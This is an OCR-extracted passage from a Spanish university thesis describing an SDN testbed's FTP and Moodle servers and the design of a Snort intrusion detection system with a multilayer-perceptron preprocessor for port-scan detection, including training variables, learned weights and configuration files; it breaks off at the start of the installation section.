de Servidor de Servidor
Proceso de I Proceso de
Transferencia B Transferencia
Sistema Sistema
e » de Datos (DTF) T~~~ de Datos (DTF) - e
- i anexion o 1 -
Archivos del Servidor Dalas del Servidor Archivos
Servidor FTP Cliente FTP

Figura 39. Proceso del servidor FTP

Fuente: Adaptado de https://bit.ly/2LXtsoD

El proceso de instalacion para el servidor FTP se detalla en el Anexo 3.2; en
seguida de que el servidor esté listo, se realiza una prueba de funcionamiento desde un
ordenador externo, el cual accede al servicio con las credenciales apropiadas, tal como se

presenta en la Figura 40.

E¥ Simbolo del sistema - ftp 192.168.150.12 - O *

Willams

Figura 40. Test de funcionamiento servidor FTP

Fuente: Autoria propia

c. Moodle
En cuanto a Moodle, Moodle (2020) lo define como “una plataforma de

aprendizaje disefiada para proporcionarle a educadores, administradores y estudiantes un
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sistema integrado Unico, robusto y seguro para crear ambientes de aprendizaje
personalizados”. Al funcionar a través del servidor web, los puertos que usa son los
mismo que se menciono en el literal a de esta seccion; puerto 80 para HTTP y puerto 443

para HTTPS.

Al igual que los servicios anteriores, la implementacion de Moodle se describe en
el Anexo 3.3, sin embargo, la Figura 41 constata el funcionamiento de la plataforma en

mencion.

\N Trabajo de Titulacion UTN X +

< C 88 | A 192.168.150.13/moodle/

= UTN Espanol - Internacional (es, Usted no se ha identificado. (Acceder)

Trabajo de Titulacion UTN

Usted no se ha identificado. (Acceder)

inoodle

Resumen de conservacién de datos

Figura 41. Test de funcionamiento de Moodle
Fuente: Autoria propia
Para una mejor comprension de lo que se acaba de implementar se grafica una
topologia légica partiendo de la topologia original (véase Figura 32) y mostrando como
esta queda una vez que el escenario de pruebas SDN se encuentre listo en el data center

de la FICA. Dicha topologia se encuentra en la Figura 42 y se aprecia cada uno de los
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elementos citados a lo largo de esta seccién, como son: el controlador ODL, el switch

virtual OVS 'y los servidores.

VLAN2

Migracion servidores
VLAN DDTI

VLAN DDTI
10.24.8.0/24

inkSys SR224G
L

MikroTik RouterBoard) 1

00

=

I

.VLAN 3
10.0.0.0.24

VLAN4
10.0.1.0.24

VLANS
10.0.2.0124

VLANG
10.0.3.0124

it &

VLAN 100
192.168.0.0/24

b

QPCOM QP-1240R

VLAN7
192.168.35.0/24

Figura 42. Topologia Logica Data Center y SDN

Fuente: Adaptado de Data Center FICA

Por otra parte, este mismo escenario se lo observa en la interfaz web que dispone

el controlador ODL, si la implementacion se ejecuta de forma correcta en la interfaz web

debe mostrarse una topologia similar a la Figura 43, con alguna variacion en cuanto a la

posicion de cada dispositivo.
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& € A Noesseguro | 192.168.100.111:8181/index.htm#/topology o B a % O

Qy, Topology

% Topology
Controls

Reload

host:66:99:55:

y host:ca:da:24:a1:fd:a8

openflow:193495286137923

host:72:08:6¢.ee:d9:3f

Figura 43. Topologia en controlador ODL

Fuente: Autoria propia
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CAPITULO 4.

DISENO DEL IDS CON RNA

Este capitulo abarca toda la informacion relacionada con el Sistema de Deteccion
de Intrusos (IDS), el presente trabajo propone el software denominado Snort,
puntualizando sus cualidades, arquitectura y funcionamiento. Ademas de detallar la
integracion con la Red Neuronal Artificial (RNA) y como este nuevo IDS forma parte de

la SDN que se encuentra en el Data Center de la FICA.
4.1. Seleccion de IDS

Basado en la Tabla 5, se determind el software mas idoneo para la deteccion de
intrusos en esta propuesta, el cual es Snort, mismo que cumple con todas las
caracteristicas expuestas en dicha tabla. Es asi como los siguientes apartados dan a
conocer la informacion necesaria sobre este IDS, desde su definicidn hasta su arquitectura

y como operan cada uno de los médulos que la conforman.
4.2. Snort

Snort es un IDS disponible en codigo abierto que trabaja bajo las licencias GPL
de GNU, ademas que se desarroll6 en lenguaje C (Snort, 2020), esto con el proposito que
las personas conozcan su programacion y asi lo acoplen a las diferentes necesidades que
se presenten al momento de brindar seguridad a la red de comunicacion. Lo que
caracteriza a este IDS es el andlisis en tiempo real al trafico de la red; Snort se lo puede
descargar de su pagina oficial www.snort.org, misma que cuenta con las ultimas versiones
y documentacidn correspondientes a cada una de ellas. En otras palabras, Snort es similar
a un sniffer ya que analiza los paquetes que se transmiten a través de la red, la diferencia
en Snort es que, al detectar una anomalia en la red, este genera alertas. Las alertas que

presenta un IDS se encuentran detalladas la seccién 2.2.1.
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4.2.1. Funcionamiento

Una vez identificado las cualidades del IDS a utilizarse en el presente trabajo, lo
siguiente es comprender su esquema de funcionamiento, el cual se menciona en (Saenz
& Martinez, 2018) y la Figura 44 sefiala que los datos parten desde el trafico de red hasta
el modo de salida para posteriormente continuar con la trayectoria hacia su destino sea
cual fuere dentro de la red. En este sentido, para una mejor comprension del esquema de

funcionamiento se describe cada uno de los modulos que lo conforman.

ESQUEMA DE SNORT

MODO DE SALIDA

T

‘ PLUGINS DE SALIDA ‘

T

‘MOTOR DE DETECCIO|

T

‘ PREPROCESADORES ‘

T

‘ DECODIFICADOR ‘

PLUGINS DE
DETECCION

CAPTURA DE
PAQUETES

T

TRAFICO DE RED

Figura 44. Esquema original de Snort
Fuente: Adaptado de (Saenz & Martinez, 2018)
El primer mddulo que conforma el esquema de Snort es Captura de paquetes y tal
como su nombre lo dice, se encarga de capturar los paquetes que circulan por la red para
ser analizados por el resto de mddulos; este proceso lo realiza gracias a una libreria que

en el caso de Linux es libcap y en Windows es llamada winpcap.

Decodificador; el siguiente médulo se encarga de interpretar los paquetes

capturados con el propdsito de conocer el protocolo que usa cada uno y de esta manera
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estructurar sus datos para un posterior analisis. Snort es capaz de decodificar protocolos

Ethernet, protocolos de IP de Linea Serial (SLIP) y Protocolos Punto a Punto (PPP).

El tercer modulo se denomina Preprocesador y se encuentra conformado por
programas codificados en lenguaje C; su principal funcion es analizar los paquetes
decodificados y ordenarlos; es decir, la gran cantidad de paquetes que provienen de la red
y han sido decodificados, el preprocesador los ordena con el propdsito de que puedan ser

identificados de mejor manera por el motor de deteccion.

Motor de deteccion; es parte fundamental del esquema de Snort ya que su principal
labor es analizar paquetes ya ordenados anteriormente y detectar ataques, todo esto
basadndose en reglas previamente establecidas; en otras palabras, este moédulo se encarga
de parear a los paquetes con las reglas existentes y asi ejecutar una accion pertinente.
Ademas, que pueden ayudarse de modulos auxiliares (plugins de deteccidn) permitiendo

un analisis éptimo.

Plugin de deteccidn; es un modulo auxiliar que forma parte de la compilacion

ejecutada por Snort y suele usarse para alterar el funcionamiento del motor de deteccion.

Las Reglas rigen el andlisis de los paquetes detectados, cominmente usados por
el Motor de deteccidn para asignar acciones a paquetes que se emparejen con ciertas
reglas. Adicionalmente tienen su propia sintaxis, misma que se divide en dos: cabecera 'y
opciones. La primera parte; Cabecera, se encarga de dar a conocer que accion pertenece
a cada regla, que protocolo pertenece a cada paquete, ademas de sus direcciones IP tanto
de origen como destino y de igual manera con los puertos usados en dicho paguete. Toda
la estructura ya mencionada con respecto a la cabecera se representa en la Figura 45.

Mientras que la Tabla 17 exhibe un ejemplo de una regla ya establecida en Snort.
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Estwtura de unn Regla

Im_ﬁaﬂal Opciones_Regla ]J

Estow tra de Ia Cabecera de ma Regla

Praocolol Red Origen " Puerto Ongenl Cnreccnonl Red Deslnn-

Figura 45. Sintaxis de reglas en Snort

l Acclon

Fuente: (SNORT, 2020) Obtenido de https://snortudenar.wordpress.com/snort-2/

Tabla 17

Ejemplo de regla en Snort

Ejemplo de regla en Snort

Accion  Protocolo Red Origen PUBITO  nireccion  Red Destino - Uerto
Origen Destino
alert tcp $EXTERNAL_NET any > $HOME_NET 53

Fuente: Adaptado de (Snort, 2020)
En la estructura ya mencionada se identifican cinco acciones posibles que se
aplican en las reglas y a cada una se las define en la Tabla 18.

Tabla 18

Acciones de una regla en Snort

Tipo de accion Definicion
Log Genera un registro correspondiente al paquete.
Alert Genera una alerta y posterior a esto genera un log del paquete que

activa la regla.

Pass Permite el paso de paquetes que correspondan a la regla, de igual
manera generando un log.

Activate Origina una alerta, posteriormente activa una regla dindmica.

Dynamic Permanece en forma pasiva hasta que un activate provoca su
activacion, su proposito es dar una informacion adicional a la que
se obtendria con la regla inicial.

Fuente: Adaptado de (Sanchez Lorente, 2015)
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Por otra parte, las Opciones se encargan de detallar la informacion que un paquete
debe tener para activar su regla correspondiente. Aqui se encuentran cuatro categorias,

las cuales son definidas en la Tabla 19.

Tabla 19

Categorias en Opciones de reglas

Categoria Definicion

Brinda informacion de una regla sin afectar a la

Generales .,
deteccion.

Explora patrones en el interior de la carga Util que posee

Deteccion de contenido
un paquete

Explora patrones en otros campos del paguete que no

Deteccion de non-payload .
sean referentes a la carga util.

Activa reglas especificas posterior a que otra regla se

Postdeteccion ;
haya accionado.

Fuente: Adaptado de (Sanchez Lorente, 2015)

El Gltimo mddulo es conocido como Plugin de salida y tiene como mision el
establecer los métodos de guardado para las alertas generadas, ya sean en bases de datos,

servidores de registro, archivos de texto, entre otros.
4.2.2. Modos de operacién

Basado en el funcionamiento de Snort es posible aclarar cuatro modos en los que
este funciona: modo sniffer, modo packet logger, modo NIDS y modo inline; a

continuacidn, se puntualiza dichos modos:

Modo Sniffer; este modo consiste en que Snort unicamente analiza los paquetes
que circulan por la red, mostrando al encargado de la red la informacion de cada paquete

capturado, esto lo efectia mediante su interfaz grafica.
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Modo Packet Logger; el segundo modo que posee Snort, es similar al anterior
modo, sin embargo, aqui se almacenan los paquetes capturados con el proposito de que

estén disponibles para un futuro analisis.

El siguiente modo se denomina Modo NIDS; este modo permite un analisis de los
paquetes que circulan por la red en busca de intrusiones, esto lo hace comparando los

paquetes con las reglas que se establezcan en los médulos ya citados en la seccién 4.2.1.

Finalmente, el Modo Inline; la cualidad de este modo es que interactua con el
Firewall de la red, obteniendo sus paquetes y determinando asi el paso o blogue de estos,
dicho de otra manera, el Firewall permite el paso del trafico basandose en las reglas que

se encuentren programas en Snort.
4.2.3. Seleccion de modo de operacién

Ahora bien, con los modos de operacion que ofrece Snort es necesario determinar
cual de ellos se acopla mejor a las necesidades de esta propuesta, estas necesidades se las

representa mediante caracteristicas en la Tabla 20.

Tabla 20

Caracteristicas del modo de operacion de Snort

Caracteristicas \ Modos Snort Sniffer Packet logger NIDS  Inline

Capturar paquetes Sl S Si Si
Analizar paguetes NO NO Sl Sl
Alertar anomalias NO NO Sl Sl
Independiente de firewall Sl Sl Si NO

Fuente: Autoria propia

En base con la Tabla 20 se concluye que el modo que mejor se adapta al presente

trabajo es el NIDS puesto que permite el analisis del trafico en la red, ademas de alertar
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a los administradores de esta en caso de existir el intento de alguna intrusion, todo esto

independientemente de como se encuentre configurado el firewall de la red.
4.3. Seleccion de la Red Neuronal

Apoyado en las arquitecturas referidas del capitulo dos, aqui se presentan a tres
redes que operan bajo estas arquitecturas, dichas redes son: Perceptron Mdltiple Capa

(MLP: Multi Layer Perceptron), Mapas de Kohonen y Red Elman.

Perceptron Multiple Capa (MLP); esta red se sujeta a dos arquitecturas
mencionadas en la seccion 2.7.1 y son: la red multicapa y red neuronal recurrente. Esto
quiere decir que posee capas ocultas entre las capas de entrada y salida; ademas de realizar
una funcion de retroalimentacion tal como se nota en la Figura 46; con el propdsito de
alterar los pesos existentes en las conexiones que se presenta entre las entradas y salidas
de cada neurona que conforma la red. Esto a su vez permita que los resultados de la red

MLP se acergue en lo posible a la solucién deseada.

Entrada | Capa Salida
Oculta

Figura 46. Red MLP

Fuente: Adaptado de (Calvo, 2018)
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Otra cualidad de la red MLP es que opera bajo un aprendizaje supervisado, dicho
en otras palabras, necesita que un usuario (supervisor) indique el resultado (la salida)

deseado con el fin de que dicha red se aproxime a éste.

En tanto que la red Mapas de Kohonen; atribuye este nombre a su creador Teuvo
Khonen y esta red opera bajo un aprendizaje no supervisado, es decir, no necesita que un
usuario (supervisor) establezca un resultado (salida) deseado. Lo que ocasiona que la red
se autoorganice por si misma. En cuanto a su arquitectura, este tipo de red es monocapa
tal como se grafica en la Figura 47, dicho de otra manera, posee dos capas; capa de entrada
y capa de salida, lo que ocasiona que los datos recibidos por la primera capa sean

transmitidos directamente a la capa de salida.

Capa

ENTRADAS
SALIDAS

Figura 47. Mapas de Kohonen
Fuente: Autoria propia
Por ultimo, esté la Red Elman; este tipo de red es similar a MLP ya que posee una
arquitectura multicapa y retroalimentacién, la diferencia estad en la segunda cualidad
puesto que la red EIman se retroalimenta Gnicamente entre sus capas ocultas justo como
se presenta en la Figura 48. Este tipo de retroalimentacion limita en cierta manera al

aprendizaje puesto que los cambios se basan Unicamente en las variaciones que suceden
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en sus capas ocultas provocando un aprendizaje méas prolongado, a diferencia de la red
MLP ya que los cambios en su retroalimentacion dependen directamente de los resultados
(capa de salida) provocando que el aprendizaje se realice en menor tiempo. Cabe recalcar
que la red EIman opera con un aprendizaje supervisado permitiendo que se establezcan

los resultados deseado y la red se aproxime a estos con cierta exactitud.

Capa Capa Capa Capa | Capade
Entrada | (Oculta | Oculta = Oculta . Oculta | Salida

@fx
/0

Figura 48. Red EIman

S0 oo

Fuente: Adaptado de (Diaz, 2016)

En base a las RNA mencionadas, se presenta la Tabla 21, la cual tiene la intencidn
de compararlas en funcion a las caracteristicas que mejor se ajusten a este proyecto y que
posteriormente garanticen una correcta integracién al IDS. Las caracteristicas consisten
en que la RNA permita llegar a una pronta solucion mediante modelos sencillos (sencillez
del disefio), también que la informacion que se obtenga de esta se facil de interpretar
(compresion de la informacidn en las salidas), ademas de que la RNA no consuma muchos
recursos del computador tanto en memoria como en procesador (consumo bajo de
recursos), finalmente se observa que esta disponga de un software para su disefio

(software de disefio existente).
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Tabla 21

Comparacion entre RNA

Caracteristicas MLP Mapas de Kohonen Red Elman
Sencillez del disefio Sl NO NO
S\?nggisggr;r? ?a!? salidas Sl NO S|
Consumo bajo de recursos Sl NO Sl
Software de disefio existente Sl Sl Sl

Fuente: Autoria propia

Observando los resultados de la comparacion, se determina que la RNA que mejor
se adapta es la Red Perceptron Mdltiple Capa (MLP) puesto que presenta mayor cantidad

de resultados a favor, al contrario de la red de Mapas de Kohonen y la red EIman.
4.4. Integracion del preprocesador con RNA a Snort

Una vez determinado Snort como software IDS a utilizarse y MLP como la RNA,
lo siguiente es integrarlos; para ello se empieza por el disefio de la RNA y posteriormente
se profundiza en la parte del médulo preprocesador. Este Gltimo se incorpora a Snort con

el propésito de que use la red MLP en el analisis del trafico de una red.

El disefio de la red MLP tiene como fin el brindar la informacion necesaria para
la codificacion del preprocesador, por este motivo, este disefio se encuentra elaborado en
un software llamado JavaNNS; mismo que se especializa en la simulacion de RNAs. Al
ser un disefio predefinido, la red MLP se compone por dos etapas: capas y set de
entrenamiento; en cuanto a la primera etapa que son las Capas, se crea una red MLP tal
como indica la Figura 49; se forma por siete capas de entrada, cuatro capas ocultas y dos
capas de salida. Cabe recalcar que al ser una red sin entrenar todos sus valores se
encuentran seteados en cero, tanto los valores de todas las capas (capas de entrada, capas

ocultas y capas de salida), como los correspondientes a los pesos; ademas, las distintas
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capas de entrada representa a una variable que analiza la version de Snort propuesta por
Bedon (2020), esta version lleva el nombre de Snort+RNA, la variables mencionadas se

tratan en la Tabla 22.

Entracia_1Ertrada_2Entrada_3Entrada_4Ertrada_SErtrada_BEntrada_7
| H B B B N
0N 2N O\ R AP A A

,.Uuuuuu/ﬁ/uuu

Capas de Entrada

7 IALT 7 AT BT 7
¥ Oculta_1 20cuita_270cula_3 “Oculta_t
E Pesos . ! E /! ! Capas Ocultas
. A

NAVIV/Z4

0

M LA/

! VI
Salida_1 Salida_2

H B Capas de Salida

0 0

Figura 49. Red MLP sin entrenar
Fuente: Adaptado de Bedon (2020)

La segunda etapa en el disefio de la red MLP es el Set de entrenamiento, mismo
que se obtiene de https://sourceforge.net/projects/snort-ai/ y debe ser cargado en
JavaNNS para su uso; Bedon (2020) es su autor ya que integré un modulo (médulo de
entrenamiento) a Snort, el cual se encarga de generar este set, almacenando las variables
necesarias para el entrenamiento de la red MLP y asi esta determine si existe una anomalia
0 no en la red. Las variables que contiene este set de entrenamiento son: hits_as_dst,
hits_as_src, av_rcv_time, av_snd_time, ack_rst_resp, rh/has y rh/had; y se definen en la

Tabla 22.
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Tabla 22

Variables del set de entrenamiento.

Variable Definicion

(hits as destination — hits como destino): NUmero de paquetes de
inicio de conexion (flows) en los cuales esta direccion IP figuraba
como destino. Es decir, nimero de intentos de conexion que la IP
recibio.

hits_as_dst

(hits as source — hits como origen): Numero de paquetes de inicio
hits_as_src de conexion (flows) en los cuales esta direccion IP figuraba como
origen. Es decir, numero de intentos de conexion enviados por la IP.

(average receive time — tiempo promedio de recepcién): Tiempo
(segundos) promedio entre peticiones de conexion recibidas por

av_rcv_time esta IP. Esta medida dice con qué frecuencia estan llegando
peticiones de conexién a un equipo. Si este nimero es inferior a
1072 quiere decir que existe una anomalia en la red.

(average send time — tiempo promedio de envio): Tiempo
(segundos) promedio entre peticiones de conexion hechas por esta

av_snd_time IP. Esta medida dice con qué frecuencia un equipo esta enviando
peticiones de conexion. Si este nimero es inferior a 103 quiere decir
que existe una anomalia en la red.

(Respuestas ACK y RST): Numero de respuestas negativas que una
direccion IP envia. Una respuesta negativa (valor de uno) es el
mensaje que un host genera al recibir una peticion de conexion en
alguno de sus puertos cuando éste estd cerrado, las respuestas
negativas para el protocolo TCP estan dadas generalmente por el
envio de un paquete con las banderas RST y ACK fijadas.

ack_rst_resp

(Conexiones de relacion como origen): Indica el nimero de inicios
rh/has de conexidn que son enviados por un origen especifico y que han
llegado al destino.

(Conexiones de relacion como destino): Indica el nimero de inicios
rh/had de conexidn que son recibidos por un destino especifico y que han
venido de un origen destino.

Fuente: Adaptado de (Novillo & Guario, 2012)

Ademas, el set de entrenamiento se constituye de 2094 patrones entre ellos se
encuentran; trafico normal y trafico con anomalias, cada patron representa un analisis
realizado por Snort con el modulo de entrenamiento y se compone por cuatro lineas; la

primera linea contiene un comentario con los nombres de las variables almacenadas por
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este modulo, en la siguiente linea estan los valores de las variables mencionadas en el
acapite anterior, es necesario aclarar que las cantidades de: hits_as_dst, hits_as_src,
ack_rst_resp, rh/has y rh/had se encuentran normalizadas entre 1 y 0 usando la Ec 5,
misma que se calcula con tres valores: maximo (val_max), minimo (val_min) y de la
variable a normalizar (var_norm). Aqui es necesario indicar que los valores, tanto
maximo como minimo no son expuestos por el autor del set de entrenamiento, razon por
la cual se decide tomarlos tal como se encuentran en la documentacion. En tanto que los
valores de las variables av_rcv_timey av_snd_time, se obtienen por el calculo de la media
en cada una de ellas, dicho en otras palabras, se suma los tiempos de todas las peticiones
y se los divide para el nimero de peticiones capturados en cada patron, ya sean de

recepcion o remision, dependiendo de la variable.

var_norm — val_min
var_norm = - Ec. 5
val_max — val_min

En cuanto a la tercera linea, es otro comentario clasificando los tipos de traficos,
es decir, trafico norma o trafico con anomalia; y la ultima linea presenta digitos que
identifican cada uno de estos, siendo 1 0 para el trafico normal y 0 1 para el trafico con
anomalia. La Figura 50 es ejemplo de trafico normal puesto que presenta valores normales
en los tiempos promedio de transmisién (av_rcv_time, av_snd_time), también tiene un

valor de cero en la variable ack_rst_resp.

1 #In: hits_asz_dst hits_as_src av_rov_time gv_snd_time ack_rst_resp rhihas rh/had
2 1,000000 1.000000 0.046602 0.046602 0.000000 1.000000 1.000000
3 #out: Normal o atacante o atacado

4 10

Figura 50. Tréafico Normal

Fuente: Adaptado de (Bedon, 2020)
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Por otro lado, la Figura 51 es un ejemplo de trafico anormal debido que las
variables citadas en el ejemplo anterior se encuentran con valores fuera de los

establecidos.

1 #In: hits_as_dst hits_as_src av_rocv_time av_snd_time ack_rst_resp rh/has rh/had
2 0.117057 0.464365 0.001858 0.000922 1.000000 0.479452 1.000000
3 #out: Normwal o atacante o atacado

4 o1

Figura 51. Trafico con anomalia
Fuente: Adaptado de (Bedon, 2020)

Para finalizar este disefio se entrena la red MLP creada (véase Figura 49) con el
uso del set de entrenamiento cargado en JavaNNS; el proceso consiste en configurar los
parametros de acuerdo al anexo 4 y asi empezar con el entrenamiento, en cuanto lo haga
los numeros de los pesos y de todas las capas tanto entradas, ocultas como salidas varian
y esto se debe a que la red MLP posee retroalimentacion, lo que ocasion que los valores
en ella se modifiquen conforme a la configuracion de sus parametros iniciales, la
variacion es aleatoria con respecto a lo siguiente: los valores en los pesos fluctdan entre
-12 y 12, este rango provoca un entrenamiento mas acelerado, ya que como indica la
seccidn 2.6, en una RNA se suman todas las multiplicaciones entre pesos y entradas para
obtener una salida, de forma que los pesos afectan de manera directa al resultado en la

RNA provocando una disminucion en el lapso de tiempo para su entrenamiento.

Por otro lado, los valores del resto de capas oscilan unicamente en el rango de 0 a
1 por la normalizacion realizada en el set de entrenamiento; esto continua hasta que la red
MLP aprenda cuando el trafico presenta anomalias y cuando no. Dicho en otras palabras,
el entrenamiento finaliza en el momento que la red presenta 0 y 1 o valores proximos a
estos en sus capas de salidas, tal como muestran los resultados de la Figura 52, mismos
que confirman un 99% de certeza en la red MLP y la razon es porque sus capas de salida

son de 0y 0.999.
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Figura 52. Red MLP entrenada
Fuente: Adaptado de (Bedon, 2020)

Para obtener los pesos de la red MLP entrenada, en JavaNNS se guarda esta red
con formato .net, este archivo se lo abre en Notepad++ con el propdésito de observar la
informacion de la red MLP entrenada, la Figura 53 contiene los valores de los pesos,
incluyendo las capas que se relacionan a ellos, para mejor comprension se las dividen
entre; capas origen (target_src) y capas destino (target_dst); las target_src se encuentran
separadas de los pesos por dos puntos (:), en tanto que las target_dst se ubican en la

columna de la izquierda.
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Red HMLP:

|target_dst | target_src : peso

| |

| =] | 1 : 5.49060, 2 @ -1.69696, 3 ¢ -10.18235, 4 : -1.20383, 5 @ 9.77381, 6 : -4.98751, To: -3.27252
| 9 | 1 : -9.06317, 2 1 2.00491, 3 ¢ 7.20834%, 4 1 5.8730zZ, 5 1 1.99858, 6 1 3.81088, 7 & -1.50080
| 10 | 1 : 5.70754, 2 1 B.25375, 3 ¢ -D.30728, 4 : 1.42348, 5 1 -5.13755, 6 : -0.88458, 7 8.34217
| 11 | 1 : -5.07384, 2 @ -0.34z257, 3 ¢ -D.eg740, 4 @ 0.z4634, 5 @ 4.14917, 6 : -9.57955, 7 : 8.56201
| 1z | & : -9.40204, 9 : 9.90298, 10 : 8.995104, 11 : -11.49687,

| 13 | 8 : 9.40363, 9 : -5.90499, 10 : -8.89199, 11 : 1i.50027,

| |

HNomenc latura:

| target_sro

Nombre_Capsa

[T T S B T - R

o

Entrada 1
Entrada 2
Entrada_3
Entrada_1
Entrada 5
Entrada &
Entrada 7
Oculta 1
Ooulta 2
Ooulta_3
Oculta_ 4

|target_dst | Nowbre_Capa
|

|
|
|
| 10
|
|
|
|

|

|

| |

| |

| Ceulta 30|

11 | |
| |

| |

| |

Figura 53. Pesos obtenidos de la red MLP

Fuente: Adaptado de (Bedon, 2020)

El proposito de los pesos presentados en el parrafo anterior, es usarse en la

codificacion del médulo preprocesador que se encuentra programado en lenguaje C, la

Figura 54 presenta la seccion de los pesos codificados en un array de valores tipo flotante;

luego de la codificacion se consigue un modulo preprocesador con RNA (preprocesador

RNA) listo para la integracion a Snort, el cual se compone por dos archivos;

spp_portscanai.c y spp_portscanai.h, la diferencia en ambos es su funcién ya que el

primero contiene informacion de lo que realiza el mddulo, en tanto que el segundo

contiene informacién del modulo que serd compartida con otros archivos usados por

Snort.

f*% Pesoz definidos */

atatic float Weights[] = {
L L L x L L x
- r x r x r L ;
’ L r .- L ’ ’
- rT rT 4 r L 4 r
- r x L ;
.- .- ’ ’
}:

Figura 54. Pesos establecidos en preprocesador

Fuente: Adaptado de (Bedon, 2020)
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Ahora es posible la integracion del preprocesador RNA a Snort, Bedon (2020)
menciona que para ello es necesario configurar cuatro archivos del IDS, estos son:
snort.conf, plugbase.c, Makefile.in y flow_callback.c. La Tabla 23 presenta informacién
de cada uno los archivos configurados, incluyendo nombre, ubicacion del archivo dentro

de la carpeta de instalacion y funcién que cumple.

Tabla 23

Archivos configurados en Snort

Nombre Ubicacion Funcioén

Carga parametros de los médulos al

snort.conf etc/ . e
momento de ejecutar un analisis.

Llama a las funciones de los

plugbase.c src/
preprocesador que componen a Snort.
. Carga la informacion de los médulos
Makefile.in src/preprocessors/ . -
durante la instalacién de Snort.
Analiza los flujos (conexiones
flow_callback.c src/preprocessors/flow s ( )

capturados durante el andlisis del IDS.

Fuente: Adaptado de (Bedon, 2020)

Se debe agregar la configuracion realizada en cada archivo, con el objetivo de
entender como se completa la integracion del preprocesador RNA a Snort y se obtiene el
Snort+RNA presto para instalar; estas configuraciones se explican en los siguientes

literales.

a. En snort.conf se agregan parametro bajo los que opera el proprocesador RNA
durante un analisis del IDS, estos son tres: el primero es ignorebc, mismo que
indica si el preprocesador RNA toma en cuenta o no a las IPs de broadcast para
identificar las anomalias en el trafico de red, otro parametro es net_topology,
en el se indica que la RNA a usar es MLP y el Gltimo parametro es log_method,

el cual dice si se quiere generar 0 no, un registro del trafico capturado al
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finalizar el andlisis del IDS. La Figura 55 indica de mejor manera estos

parametros.

HERHHABHSHEREHEHBRBRAERHB B RSB SRR
HEHHEHESNOrC-AT PreprocessorsHf#gssgig
HERHHBRBHSHEREHBERRGHRHERUB R RSB BR R Y

Portscanll: Detects portscans using Artificial Intelligence

The Portsanll is based on Flow and uses an Artificial MNeural Network to take
its decisions. The flow preprocessor must be enabled.

The following options are available for portscanai
ignorebe <1|0> - the preprocessor ignores broadoast traffic and IP address
with its last octet equal to zero (0). 0 for take all IPFs,
1 to ighore beoast/network (default).
net_topology <0x - Which neural network to use. Now the preprocessor has
Multi-Layer Perceptron (MLP). Put 0O for
MLP (default).

Loy generation options:
log method <0| 1> - Portscanldl can generate useful log information that can bhe

analyzed with the PHP Console.
0 for dissble logging, 1 for logging in files. Default is 0.

HeoH: H: H: R H: GH: H: M- H: H: H: H: H: H: B H: e e

preprocessor portacanai: ignorebe 1%
net_topology O %
log method 1

Figura 55. Configuracion de snort.conf

Fuente: Adaptado de (Bedon, 2020)

b. El segundo archivo configurado es plugbase.c, en él Gnicamente se incluye el
spp_portscanai.h para que pueda ser llamado cuando el Snort+RNA lo necesite,

la Figura 56 indica como se realiza este proceso.

S* huilt-in preprocessors %/

finclude "preprocessorsﬁspp_rpc_decode.h"
#include "prepracessnrsispp_ba.h"

#include "preprocessors/spp stresmd . h”
finclude "preprocessors/spp_streamS.h"
fiinc lude "preprocessnrsispp_arpspanf.h"
f#include "preprocessors/spp_perfmanitor.h"
finclude "prepracessnrsispp_httpinspect.h"
#include "preprocessors/spp flow.h"
#include "prepracessnrsispp_sfpnrtscan.h"
#include "preprocessors/spp fragd . ht

S *3nore-AT preprocessorsy/
finclude "preprocessorsfspp_portscanai.h"

Figura 56. Configuracion de plugbase.c

Fuente: Adaptado de (Bedon, 2020)
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c. En lo que respecta a Makefile.in, se agrega la informacion del preprocesador
RNA con el proposito de que sea incluido al momento de la instalacion de
Snort+RNA y asi pueda ejecutarse cuando el IDS lo necesite. La Figura 57

detalla esta configuracion.

COMFIG_HEADER = § (top_huud_.du-; foonfig.h

CONFIG_CLEAM FILES =

LIERARIES = § (noinse LIBRARIES)

ARFLAGE = cru -

lib=pp_a_AR = 5 (KR} 3 [ARFLAGE)

libspp_ = LIEBADD =

am_libspp_a OBJECTS = spp_acpapoof.§ (CEJEXT) app_bo.d (OBJEXT) 4
=p'p_rpc_decade.$ [CBJEXT) app_streamd § (OBJEXT]
ENOCt _Stieamd session. §(OBJEXT) =noct streamd udp.§ (CBJEXT)
Stream_iLgnore. § (OBJEXT) SpP_perimonicor. §(OBJEXT) %
pert, § (OBJELT] perf-base.$ (OBJEXT] perf-flow.$(0BJEXT] &
perf-svent. § (OBJEXT) sfprocpidstats.§ [OBJEXT) %
spp_httpinspect.§ (OBJEXT) snort_hevtpinspect,d [(OBJEXT) %
spp_flow.§ (OBJEXT] portscan. i [OBJEXT) spp_sfportscan.§ (OBJEXT]
app_Tfragd.? (OBJEXT) #vr_seacch.$ (OBJEXT) app_streams.$ (OBJEXT] Y

| Brream_api. s (OBJEXT) 2pp_portacanai.d (OBJEXT) A |

o)

SL‘IEDIRS = flow HitpInspect Streams

libspp_a FOURCES = app_arpspool.c =pp_acpspoof.h =pp_bo.c =pp_bo.h 3
app_rpc_decode.c spp_rpe_decode.h 1

App Stpeamd.c =pp stresmd.h Stceam.b )

SnOEt_streand_Session.c anort_screand_session.h
anory_streamd udp.c anort_streamd_udp.h Y
stream ignore.C stream ignore.h
app_perfmonitor.c spp_perfmonicor.h i
pecf.c perf.h

perf-base.c perl-base.h )

pecf-flov.c pecf-flow.h %

PEEL-EVEQL . ¢ pECf-evenc.h b
sfprocpidstats.c sfprocpidscats.h }
app_NLEpiRapect.c Spp_KTTpinapect.h )
snort_httpinspect.o :nnrt._n:tplzl_-lp:ct..h Y
app_Elow.c app_rflow.h %

portacan.c porkscan.h

app_siportacan.c spp_sfporcacan.h \
=pp_fragl.c spp_fragli.h )

.ﬂ:r::h-m:ch.r_- :u:E_.ﬂrnrch_n 11
:pp_:t:eums.c sp:p_strenmS.h Y

atream api.c Screas api.hoh

|= FP_portacanai.c spp_portscanai.h I

Figura 57. Configuracion de Makefile.in
Fuente: Adaptado de (Bedon, 2020)
d. Finalmente, en flow_callback se agrega la informacion del preprocesador
RNA con el fin de que este pueda hacer uso de la informacién de los flujos
capturados durante el andlisis del IDS, la Figura 58 muestra la

configuracion de este archivo.
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#ifdef HAVE CONFIG_H
#include "config.h'™
Hendif

#include <stdio.hs>
H#include <time.h>
#include "packet time.h™

#include "flow callback.h"
#include "flow cache.h”

/% needed for flow stats callback */
#include "flow stat.h"”

/% portscan detector */
#include "portscanﬁflowps_snort.h"

/*AT Preproc*/
Hinclude "spp_portscanai.h”

Figura 58. Configuracion de flow_callback.c

Fuente: Adaptado de (Bedon, 2020)
4.5. Instalacion y funcionamiento de Snort+RNA

Antes de empezar con la instalacion es necesario aclarar que el Snort+RNA con
